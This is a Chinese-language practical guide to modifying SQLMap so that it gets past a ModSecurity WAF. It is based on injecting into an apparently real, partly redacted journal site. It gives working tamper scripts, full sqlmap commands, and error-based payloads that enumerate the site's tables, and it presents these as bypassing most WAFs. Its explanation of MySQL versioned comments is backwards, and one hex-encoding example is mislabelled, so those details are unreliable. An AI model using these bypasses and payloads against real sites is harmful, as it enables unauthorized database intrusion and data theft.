一次注入实战引发的SQLMAP修改之路
字数 1685 2025-08-25 22:58:20
SQLMap高级修改与Tamper脚本编写实战指南
一、前言
SQLMap是渗透测试中最常用的SQL注入工具之一,但在实际渗透过程中,经常会遇到WAF拦截的情况。本文将通过一个实战案例,详细讲解如何通过修改SQLMap的payload和编写Tamper脚本来绕过WAF防护。
二、注入点Fuzz过程
1. 目标识别
- 目标URL:
http://www.xxxx.com/journals_desc.php?id=40 - 测试方法:
- 单引号测试: 报错
- 单引号转义测试:
id=0=0回显正常 - 确定为int型注入
order by猜字段值为7
2. WAF识别与绕过
- WAF类型: Modsec
- 拦截测试:
union select→ 拦截union /**/ select→ 拦截/*!00000union*/ select→ 不拦截 (内联注释成功绕过)/*!50000union*/ select 1,2,3,4,5,6,7→ 成功
3. 类型转换问题
- 发现int(强类型)与字段(弱类型)不匹配
- 解决方案:
- 使用string方法(但单引号被转义,不可行)
- 采用报错注入
三、Tamper脚本编写实战
1. 过滤关键词识别
- 被过滤的关键词:
from和函数concat()
2. concat()绕过脚本
创建concat2concatcomment.py:
#!/usr/bin/env python2
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
return payload.replace("CONCAT", "CONCAT/**/")
3. from绕过脚本
创建from.py:
#!/usr/bin/env python2
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
return payload.replace("FROM", "/*!44144FROM*/")
4. 使用Tamper脚本
python sqlmap.py -u "https://www.xxxx.com/journals_desc.php?id=66" --level 3 --risk 3 -v 3 --tamper="from,concat2concatcomment" --force-ssl --technique=E --dbs
生成payload示例:
AND (SELECT 8403 /*!44144FROM*/(SELECT COUNT(*),CONCAT/**/(0x716b707071,(SELECT REPEAT(0x34,1024)),0x71627a7a71,FLOOR(RAND(0)*2))x /*!44144FROM*/ INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
四、XML文件修改实战
1. 发现问题
手工注入成功但SQLMap失败,对比payload发现:
- 手工注入:
information_schema.TABLES`` (有反引号) - SQLMap默认:
information_schema.TABLES(无反引号)
2. MySQL特殊字符处理
table和columns在MySQL中是特殊字符- 反引号是SQL转义字符
- 在MySQL中为避免冲突应给表名加反引号
3. 修改XML文件
路径: /xml/queries.xml
修改内容:
information_schema.tables→information_schema.tables``information_schema.columns→information_schema.columns``
4. 修改后效果
python sqlmap.py -u "https://www.xxxx.com/journals_desc.php?id=66" --level 3 --risk 3 -v 3 --tamper="from,concat2concatcomment" --technique=E -D mililink_main --tables
生成payload示例:
66 AND (SELECT 9571 /*!44144FROM*/(SELECT COUNT(*),CONCAT/**/(0x716b7a6b71,(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) /*!44144FROM*/ INFORMATION_SCHEMA.`TABLES` WHERE table_schema IN (0x6d696c696c696e6b5f6d61696e) LIMIT 15,1),0x7171767071,FLOOR(RAND(0)*2))x /*!44144FROM*/ INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
五、SQLMap自定义payload方法总结
1. Tamper脚本编写
- 固定格式:
__priority__定义优先级dependencies()函数tamper(payload, **kwargs)主函数
- 简单替换示例:
def tamper(payload, **kwargs): return payload.replace("KEYWORD", "MODIFIED_KEYWORD")
2. XML文件修改
- 查询语句定义路径:
\sqlmap\data\xml\queries.xml - 注入payload路径:
\sqlmap\data\xml\payloads\- 如修改error-based注入:
/xml/payload/error_based.xml
- 如修改error-based注入:
3. 修改原则
- 先尝试使用Tamper脚本
- 必要时修改XML中的基础payload
- 注意MySQL特殊字符处理
- 保持修改后的payload语法正确性
六、高级技巧
1. 内联注释使用
- 格式:
/*!50000union*/ select - 数字代表MySQL版本号,只有低于此版本才会执行注释内语句
2. 字符串编码技巧
- 使用十六进制编码绕过过滤:
database()→0x6d696c696c696e6b5f6d61696e
3. 函数分割
- 使用注释分割函数名和括号:
concat/**/()
4. 强弱类型转换
- 注意目标字段类型与测试payload类型的匹配
- 必要时使用显式类型转换函数
通过以上方法,可以有效地绕过大多数WAF的检测,成功利用SQL注入漏洞。在实际渗透测试中,需要根据目标环境灵活组合这些技术。